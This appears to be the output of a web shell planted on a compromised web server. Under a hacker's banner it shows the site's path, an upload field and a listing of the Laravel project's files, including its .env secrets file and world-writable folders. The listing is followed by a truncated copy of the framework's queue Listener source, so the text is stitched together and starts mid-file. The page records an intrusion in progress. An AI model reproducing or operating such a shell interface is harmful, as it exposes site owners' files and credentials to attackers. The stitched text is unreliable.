I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
.editorconfig276 KBMarch 05 2024 07:12:340666
.env1385 KBMay 24 2024 16:43:550666
.env.example1088 KBMarch 05 2024 07:12:340666
.gitattributes190 KBMarch 05 2024 07:12:340666
.gitignore245 KBMarch 05 2024 07:12:340666
.htaccess947 KBJuly 04 2023 21:25:080664
.rnd1024 KBMarch 13 2024 04:51:140666
README.md472 KBMarch 22 2024 10:35:000666
app-March 05 2024 07:12:340777
artisan1739 KBMarch 05 2024 07:12:340666
bootstrap-March 05 2024 07:12:340777
composer.json2829 KBMay 13 2024 12:10:040666
composer.lock417205 KBMarch 19 2024 12:13:140666
config-July 03 2025 02:53:360777
database-March 05 2024 07:12:340777
index.php1816 KBMay 13 2024 10:32:360666
lang-May 13 2024 14:53:260777
manifest.json913 KBMay 14 2024 03:57:260664
package.json398 KBMarch 05 2024 07:12:340666
phpunit.xml1206 KBMarch 05 2024 07:12:340666
public-July 03 2025 02:37:200777
resources-May 13 2024 12:09:360777
routes-March 05 2024 07:12:340777
service-worker.js924 KBMarch 05 2024 07:12:340666
storage-March 05 2024 10:03:520777
symlink.php218 KBMarch 05 2024 07:12:340666
tests-March 05 2024 07:12:340777
vendor-March 19 2024 12:13:140777
vite.config.js326 KBMarch 05 2024 07:12:340666
commandPath = $commandPath; } /** * Get the PHP binary. * * @return string */ protected function phpBinary() { return (new PhpExecutableFinder)->find(false); } /** * Get the Artisan binary. * * @return string */ protected function artisanBinary() { return defined('ARTISAN_BINARY') ? ARTISAN_BINARY : 'artisan'; } /** * Listen to the given queue connection. * * @param string $connection * @param string $queue * @param \Illuminate\Queue\ListenerOptions $options * @return void */ public function listen($connection, $queue, ListenerOptions $options) { $process = $this->makeProcess($connection, $queue, $options); while (true) { $this->runProcess($process, $options->memory); if ($options->rest) { sleep($options->rest); } } } /** * Create a new Symfony process for the worker. * * @param string $connection * @param string $queue * @param \Illuminate\Queue\ListenerOptions $options * @return \Symfony\Component\Process\Process */ public function makeProcess($connection, $queue, ListenerOptions $options) { $command = $this->createCommand( $connection, $queue, $options ); // If the environment is set, we will append it to the command array so the // workers will run under the specified environment. Otherwise, they will // just run under the production environment which is not always right. if (isset($options->environment)) { $command = $this->addEnvironment($command, $options); } return new Process( $command, $this->commandPath, null, null, $options->timeout ); } /** * Add the environment option to the given command. * * @param array $command * @param \Illuminate\Queue\ListenerOptions $options * @return array */ protected function addEnvironment($command, ListenerOptions $options) { return array_merge($command, ["--env={$options->environment}"]); } /** * Create the command with the listener options. * * @param string $connection * @param string $queue * @param \Illuminate\Queue\ListenerOptions $options * @return array */ protected function createCommand($connection, $queue, ListenerOptions $options) { return array_filter([ $this->phpBinary(), $this->artisanBinary(), 'queue:work', $connection, '--once', "--name={$options->name}", "--queue={$queue}", "--backoff={$options->backoff}", "--memory={$options->memory}", "--sleep={$options->sleep}", "--tries={$options->maxTries}", $options->force ? '--force' : null, ], function ($value) { return ! is_null($value); }); } /** * Run the given process. * * @param \Symfony\Component\Process\Process $process * @param int $memory * @return void */ public function runProcess(Process $process, $memory) { $process->run(function ($type, $line) { $this->handleWorkerOutput($type, $line); }); // Once we have run the job we'll go check if the memory limit has been exceeded // for the script. If it has, we will kill this script so the process manager // will restart this with a clean slate of memory automatically on exiting. if ($this->memoryExceeded($memory)) { $this->stop(); } } /** * Handle output from the worker process. * * @param int $type * @param string $line * @return void */ protected function handleWorkerOutput($type, $line) { if (isset($this->outputHandler)) { call_user_func($this->outputHandler, $type, $line); } } /** * Determine if the memory limit has been exceeded. * * @param int $memoryLimit * @return bool */ public function memoryExceeded($memoryLimit) { return (memory_get_usage(true) / 1024 / 1024) >= $memoryLimit; } /** * Stop listening and bail out of the script. * * @return void */ public function stop() { exit; } /** * Set the output handler callback. * * @param \Closure $outputHandler * @return void */ public function setOutputHandler(Closure $outputHandler) { $this->outputHandler = $outputHandler; } }